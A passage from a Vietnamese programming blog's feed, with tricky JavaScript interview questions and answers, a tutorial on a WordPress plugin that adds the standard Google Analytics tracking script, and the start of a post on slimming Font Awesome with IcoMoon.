operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> x<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3, -1: -1]</span></code></pre></div> <p><strong>3. Phương thức Array.prototype.indexOf()</strong></p> <p>Phương thức này đơn giản là tìm ra chỉ số của một giá trị cho trước trong mảng. Nếu không tìm thấy thì kết quả trả về là -1.</p> <p>Với mảng x như trên thì <strong>x.indexOf(10000)</strong> sẽ trả về -1, vì mảng x không có phần tử nào có giá trị là 10000. Do đó, kết quả hiển thị trên console sẽ là kết quả của x[-1]. Và đó chính là -1.</p> <p>Các bạn thấy câu hỏi này thế nào? Rất hay phải không?</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-1---câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-1---c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 1 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 1 - Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">//let i = ?</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i <span class="token operator">*</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => -1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i <span class="token operator">/</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1</span></code></pre></div> <p>Tìm số i thỏa mãn đồng thời 4 câu lệnh trên?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: <em>let i = Number.MIN_VALUE;</em></p> <p><strong>Giải thích</strong>:</p> <p>Câu này thực ra cũng hơi khó để giải thích. Trước tiên, bạn phải biết một số hằng số trong JavaScript như:</p> <ul> <li>Number.MIN_VALUE : số dương nhỏ nhất</li> <li>Number.MAX_VALUE: số dương lớn nhất</li> <li>Number.NEGATIVE_INFINITY: số âm vô cùng</li> <li>Number.POSITIVE_INFINITY: số dương vô cùng</li> <li>…</li> </ul> <p>Do đó, mình thấy rằng chỉ có số Number.MIN_VALUE là thỏa mãn vì:</p> <ul> <li>Tích của 2 số dương nhỏ nhất sẽ làm tròn về 0 nên Number.MIN_VALUE * Number.MIN_VALUE = 0.</li> <li>Một số dương nhỏ nhất (gần bằng 0) mà cộng với số a bất kì thì kết quả trả về vẫn sẽ làm tròn về a nên Number.MIN_VALUE + a = a.</li> <li>Thương của 2 số dương bất kì luôn trả về 1 nên Number.MIN_VALUE / Number.MIN_VALUE = 1.</li> </ul> <p>Cũng lập luận tương tự như vậy, bạn thử đoán xem nếu thay i bằng các giá trị Number còn lại thì kết quả sẽ như thế nào?</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-1---câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-1---c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 1 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 1 - Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: 1, 2, 34, 5, 6</p> <p><strong>Giải thích</strong>:</p> <p>Có thể bạn sẽ trả lời đáp án là: [1, 2, 3, 4, 5, 6]. Nhưng tiếc thay, bạn không thể sử dụng toán tử + để ghép nối mảng. Việc sử dụng toán tử + với 2 mảng sẽ dẫn đến 2 mảng ban đầu được tự động convert sang kiểu string. Cuối cùng, kết quả sẽ là 2 string được nối vào với nhau, như trong đáp án trên.</p> <p>Để thu được kết quả là [1, 2, 3, 4, 5, 6], bạn có thể sử dụng một trong hai cách sau:</p> <p><strong>Phương thức <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/concat">concat</a></strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3, 4, 5, 6]</span></code></pre></div> <p><strong>Sử dụng Array <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">Spread</a> với ES6</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3, 4, 5, 6]</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-1---câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-1---c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 1 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 1 - Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: <strong>ReferenceError: x is not defined</strong></p> <p><strong>Giải thích</strong>:</p> <p>Câu này có vẻ dễ hơn phải không? Bạn chỉ cần biết những điều sau thì sẽ trả lời được câu hỏi:</p> <ul> <li>Cú pháp <strong>(function() {/* code here */})()</strong>: gọi là <strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE</a></strong> (Immediately Invoked Function Expression) – tức là hàm số thực thi ngay sau khi nó được khai báo.</li> <li>Biến x có phạm vi <strong>block</strong>, nên nó chỉ được tìm thấy ở bên trong <a href="/ham-la-gi-ham-trong-javascript/">function</a> trên. Ra ngoài function thì biến x sẽ không được định nghĩa.</li> </ul> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 4 câu hỏi phỏng vấn JavaScript rất hóc búa. Hy vọng những câu hỏi này sẽ giúp bạn hiểu thêm nhiều hơn về ngôn ngữ lập trình JavaScript và thêm yêu ngôn ngữ lập trình này giống mình.</p> <p>Nếu bạn thích những bài viết kiểu như này và mong muốn được thử sức với những câu hỏi JavaScript khó hơn thì vui lòng bình luận <strong>tôi muốn</strong> xuống phía dưới.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/xoan-nao-voi-phong-van-javascript-2/">bài viết tiếp theo</a>, thân ái!</p> <p><em>Nguồn: <a href="https://www.youtube.com/watch?v=3qnrouysbG8">Top Tricky JavaScript Interview Questions and Answers</a></em></p>[email protected]<![CDATA[Tạo Google Analytics Plugin cho Wordpress]]><![CDATA[Đối với mỗi trang web, việc tìm hiểu và phân tích hành vi người dùng là vô cùng quan trọng. Trong đó, Google Analytics là một công cụ miễn phí nhưng khá tốt để giúp bạn làm được…]]>https://completejavascript.com/tao-google-analytics-plugin-cho-wordpress/https://completejavascript.com/tao-google-analytics-plugin-cho-wordpress/<![CDATA[Plugin]]><![CDATA[Wordpress]]>Fri, 20 Apr 2018 00:00:22 GMT<p>Đối với mỗi trang web, việc tìm hiểu và phân tích hành vi người dùng là vô cùng quan trọng. Trong đó, Google Analytics là một công cụ miễn phí nhưng khá tốt để giúp bạn làm được việc này. Bài viết hôm nay, mình sẽ chia sẻ với các bạn cách tạo Google Analytics Plugin cho Wordpress.</p> <h2 id="chuẩn-bị" style="position:relative;"><a href="#chu%E1%BA%A9n-b%E1%BB%8B" aria-label="chuẩn bị permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn bị</h2> <p>Trước tiên, bạn cần vào trang <a href="https://analytics.google.com">https://analytics.google.com</a> để đăng ký tài khoản. Bạn có thể sử dụng bất kỳ tài khoản google nào cũng được.</p> <p>Bạn cứ làm theo hướng dẫn, khá đơn giản, nên mình sẽ không giải thích nhiều phần này.</p> <p><strong>Chú ý</strong>: với mỗi tài khoản google, bạn có thể tạo ra nhiều <strong>property</strong>, hiểu đơn giản là có thể quản lý nhiều trang web khác nhau.</p> <p>Kết quả của bạn cần thu được là <strong>Google-Analytics-ID</strong>, ví dụ: UA-96584615-1. Nó đại diện cho mỗi trang web mà bạn cần quản lý.</p> <h2 id="code-tạo-google-analytics-plugin-cho-wordpress" style="position:relative;"><a href="#code-t%E1%BA%A1o-google-analytics-plugin-cho-wordpress" aria-label="code tạo google analytics plugin cho wordpress permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code tạo Google Analytics Plugin cho Wordpress</h2> <p><strong>Bước 1</strong>: Tạo một file mới có tên dạng <code>*.php</code>, ví dụ: <strong>analytics_plugin.php</strong></p> <p><strong>Bước 2</strong>: Copy đoạn code của mình sau đây vào file vừa rồi</p> <div class="gatsby-code-title gatsby-remark-code-title">analytics_plugin.php</div> <div class="gatsby-highlight" data-language="php"><pre class="language-php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token comment">// Plugin Name: Simple Google Analytics Plugin for Wordpress</span> <span class="token comment">// Description: Adds a Google analytics tracking code to the &lt;head> of your theme, by hooking to wp_head.</span> <span class="token comment">// Author: LP Devs</span> <span class="token comment">// Version: 1.0</span> <span class="token keyword">function</span> <span class="token function-definition function">wp_lpdevs_google_analytics</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token delimiter important">?></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">i<span class="token punctuation">,</span>s<span class="token punctuation">,</span>o<span class="token punctuation">,</span>g<span class="token punctuation">,</span>r<span class="token punctuation">,</span>a<span class="token punctuation">,</span>m</span><span class="token punctuation">)</span><span class="token punctuation">{</span>i<span class="token punctuation">[</span><span class="token string">'GoogleAnalyticsObject'</span><span class="token punctuation">]</span><span class="token operator">=</span>r<span class="token punctuation">;</span>i<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token operator">=</span>i<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token operator">||</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token punctuation">(</span>i<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">.</span>q<span class="token operator">=</span>i<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">.</span>q<span class="token operator">||</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">,</span>i<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">.</span>l<span class="token operator">=</span><span class="token number">1</span><span class="token operator">*</span><span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>a<span class="token operator">=</span>s<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span>o<span class="token punctuation">)</span><span class="token punctuation">,</span> m<span class="token operator">=</span>s<span class="token punctuation">.</span><span class="token function">getElementsByTagName</span><span class="token punctuation">(</span>o<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a<span class="token punctuation">.</span>async<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>a<span class="token punctuation">.</span>src<span class="token operator">=</span>g<span class="token punctuation">;</span>m<span class="token punctuation">.</span>parentNode<span class="token punctuation">.</span><span class="token function">insertBefore</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span>m<span class="token punctuation">)</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span>window<span class="token punctuation">,</span>document<span class="token punctuation">,</span><span class="token string">'script'</span><span class="token punctuation">,</span><span class="token string">'https://www.google-analytics.com/analytics.js'</span><span class="token punctuation">,</span><span class="token string">'ga'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">ga</span><span class="token punctuation">(</span><span class="token string">'create'</span><span class="token punctuation">,</span> <span class="token string">'Google-Analytics-ID'</span><span class="token punctuation">,</span> <span class="token string">'auto'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">ga</span><span class="token punctuation">(</span><span class="token string">'send'</span><span class="token punctuation">,</span> <span class="token string">'pageview'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token punctuation">}</span> <span class="token function">add_action</span><span class="token punctuation">(</span> <span class="token string single-quoted-string">'wp_head'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'wp_lpdevs_google_analytics'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <p><strong>Bước 3: Tùy biến file plugin</strong></p> <ul> <li>Plugin Name: tên của plugin mà bạn muốn đặt</li> <li>Description: một đoạn mô tả ngắn cho plugin</li> <li>Author: tên tác giả</li> <li>Version: phiên bản plugin</li> <li>Thay đổi <strong>Google-Analytics-ID</strong> bằng ID của bạn đã tạo ở phần trước.</li> </ul> <p><strong>Bước 4: Sử dụng plugin</strong></p> <ul> <li>Copy file trên vào thư mục <strong>/wp-content/plugins.</strong></li> <li>Login vào trình quản lý Wordpress, rồi chọn mục Plugin. Nếu như các bước trên thực hiện đúng thì đến đây bạn sẽ nhìn thấy plugin của bạn. Giờ chỉ cần kích hoạt nó lên là xong rồi.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 9.090909090909092%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAYElEQVQI1zXGQRLCMAgAwP7/m+oYDFAgBGmLGS86s4fdGtIN8AEIyA0pzspaWauLAcmLpLOSDjbfbbJNVmdzVifzrcm4k3Wb9k6NnNcnakWtxvJEBtyBROMYxzXy/Pv9C9/YcW3MG/XEAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="simple google analytics plugin" title="simple google analytics plugin" src="/static/5d33adec78b4172acc92fc7449f3625c/7c811/tao-google-analytics-plugin-wordpress-completejavascript.com_.png" srcset="/static/5d33adec78b4172acc92fc7449f3625c/103f2/tao-google-analytics-plugin-wordpress-completejavascript.com_.png 165w, /static/5d33adec78b4172acc92fc7449f3625c/748ba/tao-google-analytics-plugin-wordpress-completejavascript.com_.png 330w, /static/5d33adec78b4172acc92fc7449f3625c/7c811/tao-google-analytics-plugin-wordpress-completejavascript.com_.png 660w, /static/5d33adec78b4172acc92fc7449f3625c/665fb/tao-google-analytics-plugin-wordpress-completejavascript.com_.png 880w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là kết quả khi sử dụng Google Analytics Plugin trên với trang web của mình.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là các bước mình tạo Google Analytics Plugin cho Wordpress. Nếu có góp ý hoặc thắc mắc gì, vui lòng để lại cho mình trong phần bình luận.</p> <p>Xin chào và hẹn gặp bạn trong bài viết tiếp theo, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://thachpham.com/series/lap-trinh-plugin-wordpress">LẬP TRÌNH PLUGIN WORDPRESS</a></li> </ul>[email protected]<![CDATA[Tối ưu Font Awesome với IcoMoon]]><![CDATA[Font Awesome là một trong những icon font phổ biến nhất hiện nay. Với phiên bản mới nhất hiện tại 5.5.0, Font Awesome hỗ trợ trên 1400 icon free. Tuy nhiên, nếu bạn chỉ muốn sử…]]>https://completejavascript.com/toi-uu-font-awesome-voi-icomoon/https://completejavascript.com/toi-uu-font-awesome-voi-icomoon/<![CDATA[CSS]]><![CDATA[Performance]]>Thu, 05 Apr 2018 22:30:34 GMT<p><a href="https://fontawesome.com/">Font Awesome</a> là một trong những icon font phổ biến nhất hiện nay. Với phiên bản mới nhất hiện tại 5.5.0, Font Awesome hỗ trợ trên 1400 icon free. Tuy nhiên, nếu bạn <strong>chỉ muốn sử dụng khoảng 10 đến 20 icon</strong> trong đó... thì bạn vẫn phải tải toàn bộ style của Font Awesome. Điều này quả thật là chưa tối ưu. Một câu hỏi đặt ra bây giờ là: làm sao mình vẫn sử dụng được Font Awesome mà chỉ cần tải về style của những icon mình dùng? Sau khi tìm hiểu một số phương pháp thì mình thấy cách tối ưu Font Awesome với IcoMoon là đơn giản và hiệu quả nhất.</p> <h2 id="vậy-icomoon-là-gì" style="position:relative;"><a href="#v%E1%BA%ADy-icomoon-l%C3%A0-g%C3%AC" aria-label="vậy icomoon là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vậy IcoMoon là gì?</h2> <p><a href="https://icomoon.io">IcoMoon</a> thực chất là một ứng dụng cho phép bạn <strong>tuỳ chỉnh icon font</strong>, <strong>import SVG để tạo ra font riêng, convert font sang SVG, PDF, XAML, CSH,</strong>... Và IcoMoon cung cấp hơn 5000 <a href="/icon-mien-phi-dan-it/">icon free</a> bằng cách tối ưu các thư viện miễn phí như:</p> <ul> <li><a href="https://icomoon.io/#icons">IcoMoon - Free</a></li> <li><a href="https://simpleicons.org/">Brands</a></li> <li><a href="http://www.zondicons.com/">Zondicons</a></li> <li><a href="http://hawcons.com/">Hawcons</a></li> <li><a href="http://designmodo.com/linecons-free/">Linecons</a></li> <li><a href="https://dribbble.com/shots/1663443-60-Vicons-Free-Icon-Set">60 Vicons</a></li> <li><a href="http://dribbble.com/shots/929153-Steady-set-of-icons">Steadysets</a></li> <li><a href="http://www.entypo.com/">Entypo+</a></li> <li><a href="https://feathericons.com/">Feather</a></li> <li><a href="https://github.com/FortAwesome/Font-Awesome">Font Awesome</a></li> <li><a href="https://www.google.com/design/icons/">Material Icons</a></li> <li><a href="http://typicons.com/">Typicons</a></li> <li><a href="http://brankic1979.com/icons/">Brankic 1979</a></li> <li><a href="http://dribbble.com/shots/928458-80-Shades-of-White-Icons">Eighty Shades</a></li> <li><a href="http://www.alessioatzeni.com/meteocons/">Meteocons</a></li> <li><a href="http://www.wpzoom.com/wpzoom/new-freebie-wpzoom-developer-icon-set-154-free-icons/">wpzoom</a></li> <li><a href="https://github.com/somerandomdude/Iconic">Iconic</a></li> <li><a href="http://www.elegantthemes.com/blog/freebie-of-the-week/free-line-style-icons">Elegant Themes - Line Icons</a></li> <li><a href="http://www.toicon.com/series/afiado">Afiado</a></li> </ul> <p>Và quan trọng hơn cả, IcoMoon cho phép bạn lựa chọn icon mà mình sẽ sử dụng và chỉ tải về style cho những icon đó. Vì vậy, bạn sẽ tối ưu được dung lượng file icon tải về cho trang web của mình.</p> <h2 id="tối-ưu-font-awesome-với-icomoon" style="position:relative;"><a href="#t%E1%BB%91i-%C6%B0u-font-awesome-v%E1%BB%9Bi-icomoon" aria-label="tối ưu font awesome với icomoon permalink" class="anchor 